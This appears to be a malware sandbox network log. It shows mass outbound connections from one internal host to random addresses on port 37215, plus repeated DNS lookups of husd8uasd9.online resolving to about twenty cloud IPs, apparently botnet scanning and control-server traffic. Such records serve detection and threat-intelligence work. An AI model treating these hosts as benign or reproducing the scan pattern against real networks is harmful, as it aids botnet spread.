Nov 19, 2023 09:16:16.834923983 CET	45796	37215	192.168.2.23	197.182.200.189
Nov 19, 2023 09:16:16.834955931 CET	45796	37215	192.168.2.23	156.59.141.14
Nov 19, 2023 09:16:16.834969044 CET	45796	37215	192.168.2.23	41.156.91.88
Nov 19, 2023 09:16:16.834990025 CET	45796	37215	192.168.2.23	197.1.225.138
Nov 19, 2023 09:16:16.835024118 CET	45796	37215	192.168.2.23	197.244.74.105
Nov 19, 2023 09:16:16.835035086 CET	45796	37215	192.168.2.23	41.5.208.183
Nov 19, 2023 09:16:16.835052013 CET	45796	37215	192.168.2.23	197.204.78.41
Nov 19, 2023 09:16:16.835081100 CET	45796	37215	192.168.2.23	156.137.69.87

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2023 09:15:40.574446917 CET	192.168.2.23	9.9.9.9	0x254a	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.012639999 CET	192.168.2.23	208.67.222.222	0x3237	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.761601925 CET	192.168.2.23	9.9.9.9	0xb16c	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.833765984 CET	192.168.2.23	208.67.222.222	0x1b2d	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.588351965 CET	192.168.2.23	8.8.8.8	0xcbc3	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.629987955 CET	192.168.2.23	208.67.222.222	0xd267	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.353579044 CET	192.168.2.23	1.1.1.1	0x39be	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.848581076 CET	192.168.2.23	1.1.1.1	0xc4b0	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:31.306596994 CET	192.168.2.23	1.1.1.1	0x8f74	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:37.020653963 CET	192.168.2.23	9.9.9.9	0xaa84	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:43.864192963 CET	192.168.2.23	8.8.8.8	0x613	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:49.900254965 CET	192.168.2.23	9.9.9.9	0x23a2	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:55.908185005 CET	192.168.2.23	208.67.222.222	0x2c53	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:01.660540104 CET	192.168.2.23	9.9.9.9	0x868	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:08.420865059 CET	192.168.2.23	208.67.222.222	0xf43b	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:14.984246016 CET	192.168.2.23	1.1.1.1	0x72e2	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:21.088912964 CET	192.168.2.23	9.9.9.9	0x4dac	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:27.778270960 CET	192.168.2.23	208.67.222.222	0x78c0	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:34.160821915 CET	192.168.2.23	208.67.222.222	0x9fa4	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:17:39.873661041 CET	192.168.2.23	1.1.1.1	0xf68d	Standard query (0)	husd8uasd9.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:40.671524048 CET	9.9.9.9	192.168.2.23	0x254a	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:47.112250090 CET	208.67.222.222	192.168.2.23	0x3237	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:52.916996002 CET	9.9.9.9	192.168.2.23	0xb16c	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:15:58.933006048 CET	208.67.222.222	192.168.2.23	0x1b2d	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:05.688427925 CET	8.8.8.8	192.168.2.23	0xcbc3	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:11.728197098 CET	208.67.222.222	192.168.2.23	0xd267	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	146.190.94.104	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	167.99.179.113	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.88.141.253	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.142.253.49	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.64.63.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	137.184.7.145	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	159.203.187.201	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.141.216.123	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	34.17.25.206	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	35.200.0.48	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	35.187.151.219	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:18.485735893 CET	1.1.1.1	192.168.2.23	0x39be	No error (0)	husd8uasd9.online	142.93.106.0	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	34.175.5.65	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	143.110.184.61	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	34.168.152.143	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	35.199.70.84	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	170.64.189.144	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	35.228.80.62	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	34.16.131.147	A (IP address)	IN (0x0001)	false
Nov 19, 2023 09:16:24.976628065 CET	1.1.1.1	192.168.2.23	0xc4b0	No error (0)	husd8uasd9.online	165.232.90.238	A (IP address)	IN (0x0001)	false
